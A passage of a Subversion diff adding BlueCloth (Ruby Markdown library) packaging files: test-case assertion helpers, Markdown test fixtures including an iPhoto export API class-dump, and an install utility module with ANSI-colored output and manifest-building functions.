+ def writeLine( length=75, char="-" )
+ $stderr.puts "\r" + (char * length )
+ end
+
+
+ ### Output a header for delimiting tests
+ def printTestHeader( desc )
+ return unless $VERBOSE || $DEBUG
+ message ">>> %s <<<" % desc
+ end
+
+
+ ### Try to force garbage collection to start.
+ def collectGarbage
+ a = []
+ 1000.times { a << {} }
+ a = nil
+ GC.start
+ end
+
+
+ ### Output the name of the test as it's running if in verbose mode.
+ def run( result )
+ $stderr.puts self.name if $VERBOSE || $DEBUG
+
+ # Support debugging for individual tests
+ olddb = nil
+ if $DebugPattern && $DebugPattern =~ @method_name
+ olddb = $DEBUG
+ $DEBUG = true
+ end
+
+ super
+
+ $DEBUG = olddb unless olddb.nil?
+ end
+
+
+ #############################################################
+ ### E X T R A A S S E R T I O N S
+ #############################################################
+
+ ### Negative of assert_respond_to
+ def assert_not_respond_to( obj, meth )
+ msg = "%s expected NOT to respond to '%s'" %
+ [ obj.inspect, meth ]
+ assert_block( msg ) {
+ !obj.respond_to?( meth )
+ }
+ end
+
+
+ ### Assert that the instance variable specified by +sym+ of an +object+
+ ### is equal to the specified +value+. The '@' at the beginning of the
+ ### +sym+ will be prepended if not present.
+ def assert_ivar_equal( value, object, sym )
+ sym = "@#{sym}".intern unless /^@/ =~ sym.to_s
+ msg = "Instance variable '%s'\n\tof <%s>\n\texpected to be <%s>\n" %
+ [ sym, object.inspect, value.inspect ]
+ msg += "\tbut was: <%s>" % object.instance_variable_get(sym)
+ assert_block( msg ) {
+ value == object.instance_variable_get(sym)
+ }
+ end
+
+
+ ### Assert that the specified +object+ has an instance variable which
+ ### matches the specified +sym+. The '@' at the beginning of the +sym+
+ ### will be prepended if not present.
+ def assert_has_ivar( sym, object )
+ sym = "@#{sym}" unless /^@/ =~ sym.to_s
+ msg = "Object <%s> expected to have an instance variable <%s>" %
+ [ object.inspect, sym ]
+ assert_block( msg ) {
+ object.instance_variables.include?( sym.to_s )
+ }
+ end
+
+ end # class TestCase
+
+end # class BlueCloth
+
Added: packages/libbluecloth-ruby/trunk/tests/data/antsugar.txt
===================================================================
--- packages/libbluecloth-ruby/trunk/tests/data/antsugar.txt 2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/tests/data/antsugar.txt 2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,34 @@
+The Ant-Sugar Tales
+===================
+
+By Candice Yellowflower
+
+The _Ant-Sugar Tales_ is a collection of short stories told from the
+perspective of a fine young lady from [Venice][1], who has some run-ins
+with a few [inquisitive insects][2]. Each tale presents a moral quandry,
+which the ants are quick to solve with their antly wisdom and
+know-how. Some of the moral lessons presented are:
+
+* Laundry: How not to get caught in soiled knickers.
+* Used Ticket Stubs and Their Impact on the Universe
+* I'm Keeping a Birdhouse in my Attic
+
+Use of Metaphor
+---------------
+
+The author's splended use of metaphor can be attributed to her growing
+up in a art-supply store. Her characters are richly outlined, but her
+unusual descriptions can sometimes be a bit jarring in places, such as
+her description of the old caretaker that lives inside a hollow tree in
+her yard:
+
+> His skin was smooth like Magnani Pescia 100% acid-free cold pressed
+> 22x30" Soft White Paper, with fine hair like the bristles of a Habico
+> Lasur Superb Oil Glazing Brush Size 10.
+
+
+ [1]: http://www.azureva.com/gb/italie/mags/grand-canal.php3
+ (Venice: The Grand Canal)
+ [2]: http://www.fortunecity.com/emachines/e11/86/tourist4d.html
+
+
Added: packages/libbluecloth-ruby/trunk/tests/data/ml-announce.txt
===================================================================
--- packages/libbluecloth-ruby/trunk/tests/data/ml-announce.txt 2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/tests/data/ml-announce.txt 2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,17 @@
+Hi,
+
+I'd like to announce the alpha release of a Markdown library for [Ruby][1]
+called "BlueCloth". It's mostly a direct port of the most recent Perl version,
+minus the various plugin hooks and whatnot.
+
+More information can be found on [the project page][2], or feel free to ask me
+directly. I don't have much in the way of a demo yet, but will be working on
+getting something set up in the coming days.
+
+ [1]: http://www.ruby-lang.org/
+ [2]: http://bluecloth.rubyforge.org/
+
+--
+Michael Granger <ged at FaerieMUD.org>
+Rubymage, Believer, Architect
+The FaerieMUD Consortium <http://www.FaerieMUD.org/>
Added: packages/libbluecloth-ruby/trunk/tests/data/re-overflow.txt
===================================================================
--- packages/libbluecloth-ruby/trunk/tests/data/re-overflow.txt 2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/tests/data/re-overflow.txt 2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,67 @@
+* xx xxxxxxx xx xxxxxx.
+
+* xxx xxxxxxx xxxx xx xxxxxxxxxxx xx:
+
+ * xxxxxxx xxxxxxx: xxxxx xxxx xxxx xxxxxxx xxxxxxx xxxxxxxx xxxxxx xx
+ xxxxxxx xxx xxxxxxxxx, xxx x xxxxx xxxxx xxx xxxxxxxx xx xxx xxxxxx xxxx
+ xxx xx xxxxxxxxx xx xxxx.
+
+ xxxxx xxxxxxx xx xxx xxxx xx xx xxxxxxxxx, xxx xxxx xxxxxx xx xxxxxxx xxxx
+ xxx xxxxxxx'x xxxxxx xxx. xx xxxxxxxx xxxxxxxxxxxxx xxxxxxxx.
+
+ * xxxxxxxxx xxxxxxx: xxxxx xxxx xxx xxxxx xx xxxxx xxx xxxxxxxx xxxxxxxxx
+ xx xxx xxxxxxxx, xxx xxxxx xxxxx xxxx xxxx xxxxx xxxxxxxxxxxx xx xxx
+ xxxxxxxxxxx xxxx xxx xx xxxxxxxxx xx xxxx.
+
+ xxxxx xxxxxxx xxx xx xxxxxxxxx xxxxxx xxx-xxxx xxxxx (xx xx xxxxxxxxxx)
+ xx, xx xxxxxxxxx xxxxxxxx xxxxxxx xx xxxxxxxx xx xxxxxx xxx xxxxxxx
+ xxxxxxx xx xxx xxxxxxx, xxxxxx xxx xxxx xxx.
+
+ xxxxx xxxxxxxxxx xxx xxxx xxxx xx xxxxxxxxx xxx xx xxxxx xxx xxxxx xxxxx
+ xxx xxxx xxx xxxx xxxxxxxxx. xxxxxxxx xxxxxxxxxxxxx xxx xxxx-xxxxxxxxx,
+ xxxx xx xxxxxx xxx xxxx.
+
+ * xxxxx xxxxxxx: xxxxx xxxx xxxxxx xxxx xxxxxxx xx xxxxxxx x xxxxxxxxxxx
+ xxxxxx, xxxxxxx xx xxxxxxx xxxxxxxxxxxx. xxxxx xxxxxxx xxxx xx xxxxxxxxx
+ xxxxxx xxx-xxxx xxxxx.
+
+ xxxxxx xxxxxxxxx xxx x xxxx xxxxxxxxx, xxxx xx x-xxxx.
+
+* xxxx xxx x xxxxxx xxxxxxx xxxx: xxxxx xxxxxxx xxxx xx xxxxxxxx, xxx xxxxxxx
+ xxx xxx xxxxxx, xxx xxxxx, xxx xxxxxxxxx xxx xxxxxxx xxxx xxx xxxxxxx
+ xxxxxxxx xxxx, xxx xxxx-xxx xxxx, xxx xxxxxxxx xx xxx xxxx, xxx xxx xxxxxxxx
+ xx xxx xxxxxxxxx xxxx-xxx.
+
+* xxx xxxxxxxxxxxx xxxxxxxxxxx (x.x.x. xxx xxxxxxxx xx xxxxxxx xxxxxxxx, xx
+ xxxxxxxx xxxxxx, xxx.), xxx xxxxxxx xxxxxxxxxxx xx x xxxxxx xxxxxxx xxxx
+ xxxx xx xxxxxxxxx: x xxxx-xxxxxx xx xxxx-xxxxx xxxxxxxx xx xxx xxxxxxxxxx.
+
+* xxx xxx xxxx xxxxxxx xxx, xx xxxxx xxxxxx xx xxxx xx xxx xxxxxxx'x xxxxxx
+ xxx. xxxxxxxx xxxxxxx xxxxxx xx xxxx xxx xxxxxxx xxxxxxx.
+
+ x xxxxxx xxx xxx xxxxxxx xxxx xx xxxx xx xxxxxxxx. xxxxx xxxxxxxxxxxxx
+ xxxxxx xx x xxxxxx xxxx xx xxxxxxx xxxx xxxx xxxxxx'x xxxxxx xxx xxx xxxx
+ xxxxxxx xxx xxxxxxxxx xxxxxxxxxxx:
+
+ * xxxxxxxxx xx xxxxxx xxxxxxx xxxxxx xxxx xxxxxx (xx xxxxx xxxxxx xx xx
+ xxxxxxxxxx).
+
+ * xxxxxxxxxxx xx xxxx xxxxxxx xxx.
+
+ * xxxx xx xxxxx xxxxxxx xx xxx xxxxxx.
+
+ * xxxx xxx xxxx xx xxxxxx xx xxxx-xx-xx xx:xx xxx (xx xxx) xxxxxx.
+
+ * xxxx xxx xxxxxxxx xx xxxxxxxxxxx xx xxxxxx.
+
+* xxxxxx xx xxxxxxx xxxx xx xxxxxxxx xxxxxxx xxx xxxx xxxx xx xxxxxx
+ xxxxx-xxxxxxxxxxxx xxxxxx xxxxxxxxxx xxxxxxx. xxxxxxxx xxxxxxx xxx xx
+ xxxxxxxx xx xxxxxxxxxxx xx xxxx xxxx.
+
+* xx x xxxxx xxxx:
+
+ * xxxx xxxxxxx xxxxxx xxxx x xxxxx-xxx xxx xxxxxx xxxxxxx, xxxxxxxx xxxxxxx,
+ xxx xxxxxxxx xxxxx xxxxxxx xxxx xxxxxxxx xxxxxxx, xx xxx xxx. xxxxxxx,
+ xxxx xxxxxx xxx xxxx xx xxx xxxxxxx xx xxx xxxxxx xx xxx xxxxxxx xxxxxx
+ -- xxxxx xxx, xx xxxxx xxxxxx xxxxx xx xxxxx xxx xxxx xxxxxxxx -- xxx xxxx
+ xxxxx xxx xxx xxxxxxxx xx xxxxxxxxx xxxxxx-xxxxxxxx xxxxxxxx.
Added: packages/libbluecloth-ruby/trunk/tests/data/re-overflow2.txt
===================================================================
--- packages/libbluecloth-ruby/trunk/tests/data/re-overflow2.txt 2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/tests/data/re-overflow2.txt 2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,281 @@
+<strong>iFotobilder</strong> will be an iPhoto export plugin that will let you manage your Fotobilder pictures through iPhoto.
+
+## Getting Started
+
+Since iPhoto's APIs aren't public, and because my Objective C is extremely rusty, I wanted a couple of examples of other people's plugins before I dove into this.
+
+Here's what I found:
+
+* [Writing Plugins for Cocoa][1]
+
+[1]: http://www.stone.com/The_Cocoa_Files/Writing_PlugIns.html
+
+## The iPhoto Export API
+
+Using the `class-dump` tool, I dumped the export API:
+
+ /*
+ * Generated by class-dump 3.0.
+ *
+ * class-dump is Copyright (C) 1997-1998, 2000-2001, 2004 by Steve Nygard.
+ */
+
+ /*
+ * File: /Applications/iPhoto.app/Contents/MacOS/iPhoto
+ */
+
+ @protocol ExportImageProtocol
+ - (unsigned int)imageCount;
+ - (BOOL)imageIsPortraitAtIndex:(unsigned int)fp20;
+ - (struct _NSSize)imageSizeAtIndex:(unsigned int)fp16;
+ - (unsigned int)imageFormatAtIndex:(unsigned int)fp16;
+ - (id)imageCaptionAtIndex:(unsigned int)fp16;
+ - (id)imagePathAtIndex:(unsigned int)fp16;
+ - (id)thumbnailPathAtIndex:(unsigned int)fp16;
+ - (id)imageDictionaryAtIndex:(unsigned int)fp16;
+ - (float)imageAspectRatioAtIndex:(unsigned int)fp16;
+ - (id)albumName;
+ - (id)albumMusicPath;
+ - (unsigned int)albumCount;
+ - (unsigned int)albumPositionOfImageAtIndex:(unsigned int)fp16;
+ - (id)window;
+ - (void)enableControls;
+ - (void)disableControls;
+ - (void)clickExport;
+ - (void)startExport;
+ - (void)cancelExport;
+ - (void)cancelExportBeforeBeginning;
+ - (id)directoryPath;
+ - (id)temporaryDirectory;
+ - (BOOL)doesFileExist:(id)fp16;
+ - (BOOL)doesDirectoryExist:(id)fp16;
+ - (BOOL)createDir:(id)fp16;
+ - (id)uniqueSubPath:(id)fp12 child:(id)fp20;
+ - (id)makeUniquePath:(id)fp16;
+ - (id)makeUniqueFilePath:(id)fp12 extension:(id)fp20;
+ - (id)makeUniqueFileNameWithTime:(id)fp16;
+ - (BOOL)makeFSSpec:(id)fp12 spec:(struct FSSpec *)fp20;
+ - (id)pathForFSSpec:(id)fp16;
+ - (BOOL)getFSRef:(struct FSRef *)fp12 forPath:(id)fp16 isDirectory:(BOOL)fp27;
+ - (id)pathForFSRef:(struct FSRef *)fp16;
+ - (unsigned long)countFiles:(id)fp12 descend:(BOOL)fp23;
+ - (unsigned long)countFilesFromArray:(id)fp12 descend:(BOOL)fp23;
+ - (unsigned long long)sizeAtPath:(id)fp12 count:(unsigned long *)fp16 physical:(BOOL)fp27;
+ - (BOOL)isAliasFileAtPath:(id)fp16;
+ - (id)pathContentOfAliasAtPath:(id)fp16;
+ - (id)stringByResolvingAliasesInPath:(id)fp16;
+ - (BOOL)ensurePermissions:(unsigned long)fp12 forPath:(id)fp20;
+ - (id)validFilename:(id)fp16;
+ - (id)getExtensionForImageFormat:(unsigned int)fp16;
+ - (unsigned int)getImageFormatForExtension:(id)fp16;
+ - (struct OpaqueGrafPtr *)uncompressImage:(id)fp12 size:(struct _NSSize)fp16 pixelFormat:(unsigned int)fp24 rotation:(float)fp32;
+ - (void *)createThumbnailer;
+ - (void *)retainThumbnailer:(void *)fp16;
+ - (void *)autoreleaseThumbnailer:(void *)fp16;
+ - (void)releaseThumbnailer:(void *)fp16;
+ - (void)setThumbnailer:(void *)fp16 maxBytes:(unsigned int)fp20 maxWidth:(unsigned int)fp24 maxHeight:(unsigned int)fp32;
+ - (struct _NSSize)thumbnailerMaxBounds:(void *)fp16;
+ - (void)setThumbnailer:(void *)fp12 quality:(int)fp20;
+ - (int)thumbnailerQuality:(void *)fp16;
+ - (void)setThumbnailer:(void *)fp12 rotation:(float)fp20;
+ - (float)thumbnailerRotation:(void *)fp16;
+ - (void)setThumbnailer:(void *)fp12 outputFormat:(unsigned int)fp20;
+ - (unsigned int)thumbnailerOutputFormat:(void *)fp16;
+ - (void)setThumbnailer:(void *)fp12 outputExtension:(id)fp20;
+ - (id)thumbnailerOutputExtension:(void *)fp16;
+ - (BOOL)thumbnailer:(void *)fp16 createThumbnail:(id)fp20 dest:(id)fp28;
+ - (struct _NSSize)lastImageSize:(void *)fp20;
+ - (struct _NSSize)lastThumbnailSize:(void *)fp16;
+ @end
+
+ @protocol ExportPluginBoxProtocol
+ - (BOOL)performKeyEquivalent:(id)fp16;
+ @end
+
+ @protocol ExportPluginProtocol
+ - (id)initWithExportImageObj:(id)fp16;
+ - (id)settingsView;
+ - (id)firstView;
+ - (id)lastView;
+ - (void)viewWillBeActivated;
+ - (void)viewWillBeDeactivated;
+ - (id)requiredFileType;
+ - (BOOL)wantsDestinationPrompt;
+ - (id)getDestinationPath;
+ - (id)defaultFileName;
+ - (id)defaultDirectory;
+ - (BOOL)treatSingleSelectionDifferently;
+ - (BOOL)validateUserCreatedPath:(id)fp16;
+ - (void)clickExport;
+ - (void)startExport:(id)fp16;
+ - (void)performExport:(id)fp16;
+ - (CDAnonymousStruct12 *)progress;
+ - (void)lockProgress;
+ - (void)unlockProgress;
+ - (void)cancelExport;
+ - (id)name;
+ - (id)description;
+ @end
+
+ @interface ExportController : NSObject
+ {
+ id mWindow;
+ id mExportView;
+ id mExportButton;
+ id mImageCount;
+ ExportMgr *mExportMgr;
+ ExportMgrRec *mCurrentPluginRec;
+ ProgressController *mProgressController;
+ BOOL mCancelExport;
+ NSTimer *mTimer;
+ NSString *mDirectoryPath;
+ }
+
+ - (void)awakeFromNib;
+ - (void)dealloc;
+ - (id)currentPlugin;
+ - (id)currentPluginRec;
+ - (void)setCurrentPluginRec:(id)fp12;
+ - (id)directoryPath;
+ - (void)setDirectoryPath:(id)fp12;
+ - (void)show;
+ - (void)_openPanelDidEnd:(id)fp12 returnCode:(int)fp16 contextInfo:(void *)fp20;
+ - (id)panel:(id)fp12 userEnteredFilename:(id)fp16 confirmed:(BOOL)fp20;
+ - (BOOL)panel:(id)fp12 shouldShowFilename:(id)fp16;
+ - (BOOL)panel:(id)fp12 isValidFilename:(id)fp16;
+ - (BOOL)filesWillFitOnDisk;
+ - (void)export:(id)fp12;
+ - (void)_exportThread:(id)fp12;
+ - (void)_exportProgress:(id)fp12;
+ - (void)startExport:(id)fp12;
+ - (void)finishExport;
+ - (void)cancelExport;
+ - (void)cancel:(id)fp12;
+ - (void)enableControls;
+ - (id)window;
+ - (void)disableControls;
+ - (void)tabView:(id)fp12 willSelectTabViewItem:(id)fp16;
+ - (void)tabView:(id)fp12 didSelectTabViewItem:(id)fp16;
+ - (void)selectExporter:(id)fp12;
+ - (id)exportView;
+ - (BOOL)_hasPlugins;
+ - (void)_resizeExporterToFitView:(id)fp12;
+ - (void)_updateImageCount;
+
+ @end
+
+ @interface ExportMgr : NSObject <ExportImageProtocol>
+ {
+ ArchiveDocument *mDocument;
+ NSMutableArray *mExporters;
+ Album *mExportAlbum;
+ NSArray *mSelection;
+ ExportController *mExportController;
+ }
+
+ + (id)exportMgr;
+ + (id)exportMgrNoAlloc;
+ - (id)init;
+ - (void)dealloc;
+ - (void)releasePlugins;
+ - (void)setExportController:(id)fp12;
+ - (id)exportController;
+ - (void)setDocument:(id)fp12;
+ - (id)document;
+ - (void)updateDocumentSelection;
+ - (unsigned int)count;
+ - (id)recAtIndex:(unsigned int)fp12;
+ - (void)scanForExporters;
+ - (unsigned int)imageCount;
+ - (BOOL)imageIsPortraitAtIndex:(unsigned int)fp12;
+ - (id)imagePathAtIndex:(unsigned int)fp12;
+ - (struct _NSSize)imageSizeAtIndex:(unsigned int)fp16;
+ - (unsigned int)imageFormatAtIndex:(unsigned int)fp12;
+ - (id)imageCaptionAtIndex:(unsigned int)fp12;
+ - (id)thumbnailPathAtIndex:(unsigned int)fp12;
+ - (id)imageDictionaryAtIndex:(unsigned int)fp12;
+ - (float)imageAspectRatioAtIndex:(unsigned int)fp12;
+ - (id)albumName;
+ - (id)albumMusicPath;
+ - (unsigned int)albumCount;
+ - (unsigned int)albumPositionOfImageAtIndex:(unsigned int)fp12;
+ - (id)imageRecAtIndex:(unsigned int)fp12;
+ - (id)currentAlbum;
+ - (void)enableControls;
+ - (void)disableControls;
+ - (id)window;
+ - (void)clickExport;
+ - (void)startExport;
+ - (void)cancelExport;
+ - (void)cancelExportBeforeBeginning;
+ - (id)directoryPath;
+ - (void)_copySelection:(id)fp12;
+ - (id)temporaryDirectory;
+ - (BOOL)doesFileExist:(id)fp12;
+ - (BOOL)doesDirectoryExist:(id)fp12;
+ - (BOOL)createDir:(id)fp12;
+ - (id)uniqueSubPath:(id)fp12 child:(id)fp16;
+ - (id)makeUniquePath:(id)fp12;
+ - (id)makeUniqueFilePath:(id)fp12 extension:(id)fp16;
+ - (id)makeUniqueFileNameWithTime:(id)fp12;
+ - (BOOL)makeFSSpec:(id)fp12 spec:(struct FSSpec *)fp16;
+ - (id)pathForFSSpec:(id)fp12;
+ - (BOOL)getFSRef:(struct FSRef *)fp12 forPath:(id)fp16 isDirectory:(BOOL)fp20;
+ - (id)pathForFSRef:(struct FSRef *)fp12;
+ - (unsigned long)countFiles:(id)fp12 descend:(BOOL)fp16;
+ - (unsigned long)countFilesFromArray:(id)fp12 descend:(BOOL)fp16;
+ - (unsigned long long)sizeAtPath:(id)fp12 count:(unsigned long *)fp16 physical:(BOOL)fp20;
+ - (BOOL)isAliasFileAtPath:(id)fp12;
+ - (id)pathContentOfAliasAtPath:(id)fp12;
+ - (id)stringByResolvingAliasesInPath:(id)fp12;
+ - (BOOL)ensurePermissions:(unsigned long)fp12 forPath:(id)fp16;
+ - (id)validFilename:(id)fp12;
+ - (id)getExtensionForImageFormat:(unsigned int)fp12;
+ - (unsigned int)getImageFormatForExtension:(id)fp12;
+ - (struct OpaqueGrafPtr *)uncompressImage:(id)fp12 size:(struct _NSSize)fp16 pixelFormat:(unsigned int)fp24 rotation:(float)fp36;
+ - (void *)createThumbnailer;
+ - (void *)retainThumbnailer:(void *)fp12;
+ - (void *)autoreleaseThumbnailer:(void *)fp12;
+ - (void)releaseThumbnailer:(void *)fp12;
+ - (void)setThumbnailer:(void *)fp12 maxBytes:(unsigned int)fp16 maxWidth:(unsigned int)fp20 maxHeight:(unsigned int)fp24;
+ - (struct _NSSize)thumbnailerMaxBounds:(void *)fp16;
+ - (void)setThumbnailer:(void *)fp12 quality:(int)fp16;
+ - (int)thumbnailerQuality:(void *)fp12;
+ - (void)setThumbnailer:(void *)fp12 rotation:(float)fp36;
+ - (float)thumbnailerRotation:(void *)fp12;
+ - (void)setThumbnailer:(void *)fp12 outputFormat:(unsigned int)fp16;
+ - (unsigned int)thumbnailerOutputFormat:(void *)fp12;
+ - (void)setThumbnailer:(void *)fp12 outputExtension:(id)fp16;
+ - (id)thumbnailerOutputExtension:(void *)fp12;
+ - (BOOL)thumbnailer:(void *)fp12 createThumbnail:(id)fp16 dest:(id)fp20;
+ - (struct _NSSize)lastImageSize:(void *)fp16;
+ - (struct _NSSize)lastThumbnailSize:(void *)fp16;
+
+ @end
+
+ @interface ExportMgrRec : NSObject
+ {
+ NSString *mPath;
+ NSBundle *mBundle;
+ id mPlugin;
+ struct _NSSize mViewSize;
+ }
+
+ - (void)dealloc;
+ - (BOOL)isEqual:(id)fp12;
+ - (id)description;
+ - (id)initWithPath:(id)fp12;
+ - (id)path;
+ - (id)bundle;
+ - (id)bundleInfo;
+ - (BOOL)isValidExportPlugin;
+ - (BOOL)loadPlugin;
+ - (id)exportPlugin;
+ - (void)unloadPlugin;
+ - (id)view;
+ - (struct _NSSize)viewSize;
+ - (void)setPath:(id)fp12;
+ - (void)setBundle:(id)fp12;
+
+ @end
+
Added: packages/libbluecloth-ruby/trunk/utils.rb
===================================================================
--- packages/libbluecloth-ruby/trunk/utils.rb 2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/utils.rb 2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,553 @@
+#
+# Install/distribution utility functions
+# $Id: utils.rb,v 1.5 2004/01/18 19:15:18 deveiant Exp $
+#
+# Copyright (c) 2001-2004, The FaerieMUD Consortium.
+#
+# This is free software. You may use, modify, and/or redistribute this
+# software under the terms of the Perl Artistic License. (See
+# http://language.perl.com/misc/Artistic.html)
+#
+
+
+BEGIN {
+ require 'find'
+
+ begin
+ require 'readline'
+ include Readline
+ rescue LoadError => e
+ $stderr.puts "Faking readline..."
+ def readline( prompt )
+ $stderr.print prompt.chomp
+ return $stdin.gets.chomp
+ end
+ end
+}
+
+class File
+ Win32Exts = %w{.exe .com .bat}
+
+ def self::which( prog, path=ENV['PATH'] )
+ path.split(File::PATH_SEPARATOR).each {|dir|
+ # If running under Windows, look for prog + extensions
+ if File::ALT_SEPARATOR
+ ext = Win32Exts.find_all {|ext|
+ f = File::join(dir, prog+ext)
+ File::executable?(f) && !File::directory?(f)
+ }
+ ext.each {|f|
+ f = File::join( dir, prog + f ).gsub(%r:/:,'\\')
+ if block_given? then yield( f ) else return f end
+ }
+ else
+ f = File::join( dir, prog )
+ if File::executable?( f ) && ! File::directory?( f )
+ if block_given? then yield(f) else return f end
+ end
+ end
+ }
+ end
+
+end
+
+
+module UtilityFunctions
+
+ # The list of regexen that eliminate files from the MANIFEST
+ ANTIMANIFEST = [
+ /makedist\.rb/,
+ /\bCVS\b/,
+ /~$/,
+ /^#/,
+ %r{docs/html},
+ %r{docs/man},
+ /\bTEMPLATE\.\w+\.tpl\b/,
+ /\.cvsignore/,
+ /\.s?o$/,
+ ]
+ AMRegexp = Regexp::union( *ANTIMANIFEST )
+
+ # Set some ANSI escape code constants (Shamelessly stolen from Perl's
+ # Term::ANSIColor by Russ Allbery <rra at stanford.edu> and Zenin <zenin at best.com>
+ AnsiAttributes = {
+ 'clear' => 0,
+ 'reset' => 0,
+ 'bold' => 1,
+ 'dark' => 2,
+ 'underline' => 4,
+ 'underscore' => 4,
+ 'blink' => 5,
+ 'reverse' => 7,
+ 'concealed' => 8,
+
+ 'black' => 30, 'on_black' => 40,
+ 'red' => 31, 'on_red' => 41,
+ 'green' => 32, 'on_green' => 42,
+ 'yellow' => 33, 'on_yellow' => 43,
+ 'blue' => 34, 'on_blue' => 44,
+ 'magenta' => 35, 'on_magenta' => 45,
+ 'cyan' => 36, 'on_cyan' => 46,
+ 'white' => 37, 'on_white' => 47
+ }
+
+ ErasePreviousLine = "\033[A\033[K"
+
+
+ ###############
+ module_function
+ ###############
+
+ # Create a string that contains the ANSI codes specified and return it
+ def ansiCode( *attributes )
+ return '' unless /(?:vt10[03]|xterm(?:-color)?|linux)/i =~ ENV['TERM']
+ attr = attributes.collect {|a| AnsiAttributes[a] ? AnsiAttributes[a] : nil}.compact.join(';')
+ if attr.empty?
+ return ''
+ else
+ return "\e[%sm" % attr
+ end
+ end
+
+
+ # Test for the presence of the specified <tt>library</tt>, and output a
+ # message describing the test using <tt>nicename</tt>. If <tt>nicename</tt>
+ # is <tt>nil</tt>, the value in <tt>library</tt> is used to build a default.
+ def testForLibrary( library, nicename=nil )
+ nicename ||= library
+ message( "Testing for the #{nicename} library..." )
+ found = false
+
+ begin
+ require library
+ rescue LoadError => err
+ message "no found (%s)\n" % err.message
+ else
+ message "found\n"
+ found = true
+ end
+
+ return found
+ end
+
+
+ # Test for the presence of the specified <tt>library</tt>, and output a
+ # message describing the problem using <tt>nicename</tt>. If
+ # <tt>nicename</tt> is <tt>nil</tt>, the value in <tt>library</tt> is used
+ # to build a default. If <tt>raaUrl</tt> and/or <tt>downloadUrl</tt> are
+ # specified, they are also use to build a message describing how to find the
+ # required library. If <tt>fatal</tt> is <tt>true</tt>, a missing library
+ # will cause the program to abort.
+ def testForRequiredLibrary( library, nicename=nil, raaUrl=nil, downloadUrl=nil, fatal=true )
+ nicename ||= library
+ unless testForLibrary( library, nicename )
+ msgs = [ "You are missing the required #{nicename} library.\n" ]
+ msgs << "RAA: #{raaUrl}\n" if raaUrl
+ msgs << "Download: #{downloadUrl}\n" if downloadUrl
+ if fatal
+ abort msgs.join('')
+ else
+ errorMessage msgs.join('')
+ end
+ end
+ return true
+ end
+
+ ### Output <tt>msg</tt> as a ANSI-colored program/section header (white on
+ ### blue).
+ def header( msg )
+ msg.chomp!
+ $stderr.puts ansiCode( 'bold', 'white', 'on_blue' ) + msg + ansiCode( 'reset' )
+ $stderr.flush
+ end
+
+ ### Output <tt>msg</tt> to STDERR and flush it.
+ def message( msg )
+ $stderr.print ansiCode( 'cyan' ) + msg + ansiCode( 'reset' )
+ $stderr.flush
+ end
+
+ ### Output the specified <tt>msg</tt> as an ANSI-colored error message
+ ### (white on red).
+ def errorMessage( msg )
+ message ansiCode( 'bold', 'white', 'on_red' ) + msg + ansiCode( 'reset' )
+ end
+
+ ### Output the specified <tt>msg</tt> as an ANSI-colored debugging message
+ ### (yellow on blue).
+ def debugMsg( msg )
+ return unless $DEBUG
+ msg.chomp!
+ $stderr.puts ansiCode( 'bold', 'yellow', 'on_blue' ) + ">>> #{msg}" + ansiCode( 'reset' )
+ $stderr.flush
+ end
+
+ ### Erase the previous line (if supported by your terminal) and output the
+ ### specified <tt>msg</tt> instead.
+ def replaceMessage( msg )
+ print ErasePreviousLine
+ message( msg )
+ end
+
+ ### Output a divider made up of <tt>length</tt> hyphen characters.
+ def divider( length=75 )
+ puts "\r" + ("-" * length )
+ end
+ alias :writeLine :divider
+
+ ### Output the specified <tt>msg</tt> colored in ANSI red and exit with a
+ ### status of 1.
+ def abort( msg )
+ print ansiCode( 'bold', 'red' ) + "Aborted: " + msg.chomp + ansiCode( 'reset' ) + "\n\n"
+ Kernel.exit!( 1 )
+ end
+
+ ### Output the specified <tt>promptString</tt> as a prompt (in green) and
+ ### return the user's input with leading and trailing spaces removed.
+ def prompt( promptString )
+ promptString.chomp!
+ return readline( ansiCode('bold', 'green') + "#{promptString}: " + ansiCode('reset') ).strip
+ end
+
+ ### Prompt the user with the given <tt>promptString</tt> via #prompt,
+ ### substituting the given <tt>default</tt> if the user doesn't input
+ ### anything.
+ def promptWithDefault( promptString, default )
+ response = prompt( "%s [%s]" % [ promptString, default ] )
+ if response.empty?
+ return default
+ else
+ return response
+ end
+ end
+
+ ### Search for the program specified by the given <tt>progname</tt> in the
+ ### user's <tt>PATH</tt>, and return the full path to it, or <tt>nil</tt> if
+ ### no such program is in the path.
+ def findProgram( progname )
+ ENV['PATH'].split(File::PATH_SEPARATOR).each {|d|
+ file = File.join( d, progname )
+ return file if File.executable?( file )
+ }
+ return nil
+ end
+
+ ### Using the CVS log for the given <tt>file</tt> attempt to guess what the
+ ### next release version might be. This only works if releases are tagged
+ ### with tags like 'RELEASE_x_y'.
+ def extractNextVersionFromTags( file )
+ message "Attempting to extract next release version from CVS tags for #{file}...\n"
+ raise RuntimeError, "No such file '#{file}'" unless File.exists?( file )
+ cvsPath = findProgram( 'cvs' ) or
+ raise RuntimeError, "Cannot find the 'cvs' program. Aborting."
+
+ output = %x{#{cvsPath} log #{file}}
+ release = [ 0, 0 ]
+ output.scan( /RELEASE_(\d+)_(\d+)/ ) {|match|
+ if $1.to_i > release[0] || $2.to_i > release[1]
+ release = [ $1.to_i, $2.to_i ]
+ replaceMessage( "Found %d.%02d...\n" % release )
+ end
+ }
+
+ if release[1] >= 99
+ release[0] += 1
+ release[1] = 1
+ else
+ release[1] += 1
+ end
+
+ return "%d.%02d" % release
+ end
+
+
+ ### Write a new manifest file with the given +named+, moving any current one
+ ### aside with an ".old" suffix if +backup+ is true.
+ def makeManifest( name="MANIFEST", backup=true )
+ message "Making manifest file '#{name}'"
+
+ # Move an old one aside if a backup is desired
+ if backup and File::exists?( name )
+ File::rename( name, name + ".old" )
+ end
+
+ File::open( name, File::WRONLY|File::TRUNC|File::CREAT ) {|ofh|
+ Find::find( "." ) do |file|
+ Find.prune if AMRegexp =~ file
+ Find.prune if %r{/\.} =~ file
+ Find.prune if /TEMPLATE/ =~ file
